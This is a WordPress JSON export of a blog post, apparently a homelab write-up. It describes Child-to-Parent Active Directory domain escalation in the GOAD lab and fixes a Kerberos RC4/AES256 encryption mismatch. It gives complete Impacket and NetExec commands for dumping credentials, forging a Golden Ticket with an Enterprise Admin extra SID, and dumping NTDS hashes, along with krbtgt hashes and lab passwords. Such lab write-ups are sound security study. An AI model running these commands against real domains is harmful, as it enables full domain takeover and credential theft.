{"id":189,"date":"2025-12-29T08:42:09","date_gmt":"2025-12-29T08:42:09","guid":{"rendered":"https:\/\/jasveermaan.com\/?p=189"},"modified":"2026-03-13T10:06:34","modified_gmt":"2026-03-13T10:06:34","slug":"child-to-parent-domain-escalation-lessons-learned-from-kerberos-etype-pitfalls","status":"publish","type":"post","link":"https:\/\/jasveermaan.com\/index.php\/2025\/12\/29\/child-to-parent-domain-escalation-lessons-learned-from-kerberos-etype-pitfalls\/","title":{"rendered":"Child-to-Parent Domain Escalation: Lessons Learned from Kerberos ETYPE Pitfalls"},"content":{"rendered":"\n<p>Hi readers,<\/p>\n\n\n\n<p>Last week, I was experimenting in my homelab setup using Game of Active Directory (GOAD), focusing on cross-domain trust abuse, specifically a Child-to-Parent domain escalation scenario.<\/p>\n\n\n\n<p>In this lab, users Robb Stark and Eddard Stark have administrative access to the child domain machine \u201cWinterfell\u201d. The goal was to abuse the existing trust relationship between the child domain (north.sevenkingdoms.local) and the parent domain (sevenkingdoms.local) to escalate privileges into the parent domain.<\/p>\n\n\n\n<p>The diagram below illustrates the trust relationship and access paths involved in this setup.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1111\" height=\"829\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/12\/GOAD_light.png\" alt=\"\" class=\"wp-image-190\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Attempt 1: Using Impacket raiseChild<\/h2>\n\n\n\n<p>With valid credentials for user Eddard Stark, I first attempted to use Impacket\u2019s built-in tool raiseChild, which is designed to automate the entire Child-to-Parent abuse process.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">impacket-raiseChild north.sevenkingdoms.local\/eddard.stark:'FightP3aceAndHonor!'<\/pre>\n\n\n\n<p>However, running this command consistently resulted in a failure.  The following error was shown::<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>[*] Raising child domain north.sevenkingdoms.local<br>[*] Forest FQDN is: sevenkingdoms.local<br>[*] Raising north.sevenkingdoms.local to sevenkingdoms.local<br>[*] sevenkingdoms.local Enterprise Admin SID is: S-1-5-21-650475728-3995107404-3591096508-519<br>[*] Getting credentials for north.sevenkingdoms.local<br>north.sevenkingdoms.local\/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:32906023d49d4dd917f8d071f699fe07:::<br>north.sevenkingdoms.local\/krbtgt:aes256-cts-hmac-sha1-96s:7a4411edadb1855c2fca39716c5c44ffea44b822e3297dd7c7bfb9a2534a02e6<br>[-] Kerberos SessionError: KDC_ERR_TGT_REVOKED(TGT has been revoked)<br><\/pre>\n\n\n\n<p>Upon closer inspection, I suspected the issue was related to Kerberos encryption type mismatches, specifically RC4 vs AES256 handling during ticket generation.<\/p>\n\n\n\n<p>Despite multiple attempts and validations, I was unable to get impacket-raiseChild to work reliably in this environment and it was taking up a bit of my time.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Manual Approach: Dumping Credentials from Winterfell<\/h2>\n\n\n\n<p>Since the automated approach failed, I pivoted to a manual trust abuse path. Using NetExec, I leveraged backup operator privileges to dump credentials directly from Winterfell:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nxc smb winterfell -u 'eddard.stark' -p 'FightP3aceAndHonor!' -M backup_operator<\/pre>\n\n\n\n<p>With the obtained credentials, I then dumped domain secrets using Impacket:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">impacket-secretsdump north.sevenkingdoms.local\/robb.stark:sexywolfy@winterfell<\/pre>\n\n\n\n<p>At this point, all required hashes, including the krbtgt AES key, were successfully extracted as shown in the figures below:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1887\" height=\"842\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/12\/Dumped_hash_winterfell.png\" alt=\"\" class=\"wp-image-191\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1886\" height=\"935\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/12\/Dumped_hash_winterfell2.png\" alt=\"\" class=\"wp-image-192\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Forging a Golden Ticket (Child \u2192 Parent)<\/h2>\n\n\n\n<p>With the krbtgt AES256 key in hand, I forged a Golden Ticket that included the Enterprise Admin SID of the parent domain:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">impacket-ticketer -aesKey 7a4411edadb1855c2fca39716c5c44ffea44b822e3297dd7c7bfb9a2534a02e6 -domain north.sevenkingdoms.local -domain-sid S-1-5-21-1533088046-2260871770-3856243910 -extra-sid S-1-5-21-650475728-3995107404-3591096508-519 Administrator<\/pre>\n\n\n\n<p>After exporting the ticket:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">export KRB5CCNAME=.\/Administrator.ccache<\/pre>\n\n\n\n<p>I was able to successfully dump NTDS hashes from the parent domain controller Kingslanding:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">impacket-secretsdump -k -no-pass north.sevenkingdoms.local\/Administrator@kingslanding<\/pre>\n\n\n\n<p>This confirmed that the cross-domain trust abuse was successful.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1894\" height=\"913\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/12\/Dumped_hash_kingslanding.png\" alt=\"\" class=\"wp-image-193\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Attempt 2: Automating with NetExec raisechild<\/h2>\n\n\n\n<p>During further testing, I discovered that NetExec includes a module named raisechild, which aims to automate the same attack path. Initial execution looked promising:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nxc ldap winterfell -u 'eddard.stark' -p 'FightP3aceAndHonor!' -M raisechild<\/pre>\n\n\n\n<p>The NetExec raisechild module successfully forged a Golden Ticket; however, when attempting to dump NTDS hashes, the operation failed with Kerberos-related errors.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1560\" height=\"448\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/12\/Failed_dumphash.png\" alt=\"\" class=\"wp-image-196\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Root Cause: Kerberos Encryption Type<\/h2>\n\n\n\n<p>After reviewing the raisechild module source code and correlating the error messages, I confirmed the issue was once again caused by a Kerberos encryption type mismatch.<\/p>\n\n\n\n<p>By default, the NetExec raisechild module uses RC4 and attempts to rely on the child domain\u2019s krbtgt NTLM (RC4) material unless an encryption type is explicitly specified. In this environment, AES256 was required. Forcing the encryption type to AES resolved the issue completely:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nxc ldap winterfell -u eddard.stark -p FightP3aceAndHonor! -M raisechild <strong>-o ETYPE=aes256<\/strong><\/pre>\n\n\n\n<p>With this change in place, NetExec successfully:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Forged a valid Golden Ticket<\/li>\n\n\n\n<li>Authenticated to the parent domain<\/li>\n\n\n\n<li>Dumped NTDS hashes from Kingslanding without errors<\/li>\n<\/ul>\n\n\n\n<p>The figure below shows hash has been dumped successfully:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1561\" height=\"701\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/12\/Kingslanding_hash_dumped_successfully.png\" alt=\"\" class=\"wp-image-197\"\/><\/figure>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hi readers, Last week, I was experimenting in my homelab setup using Game of Active Directory (GOAD), focusing on cross-domain trust abuse, specifically a Child-to-Parent domain escalation scenario. In this lab, users Robb Stark and Eddard Stark have administrative access to the child domain machine \u201cWinterfell\u201d. The goal was to abuse the existing trust relationship &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/jasveermaan.com\/index.php\/2025\/12\/29\/child-to-parent-domain-escalation-lessons-learned-from-kerberos-etype-pitfalls\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Child-to-Parent Domain Escalation: Lessons Learned from Kerberos ETYPE Pitfalls&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-189","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/posts\/189","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/comments?post=189"}],"version-history":[{"count":3,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/posts\/189\/revisions"}],"predecessor-version":[{"id":200,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/posts\/189\/revisions\/200"}],"wp:attachment":[{"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/media?parent=189"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/categories?post=189"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/tags?post=189"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}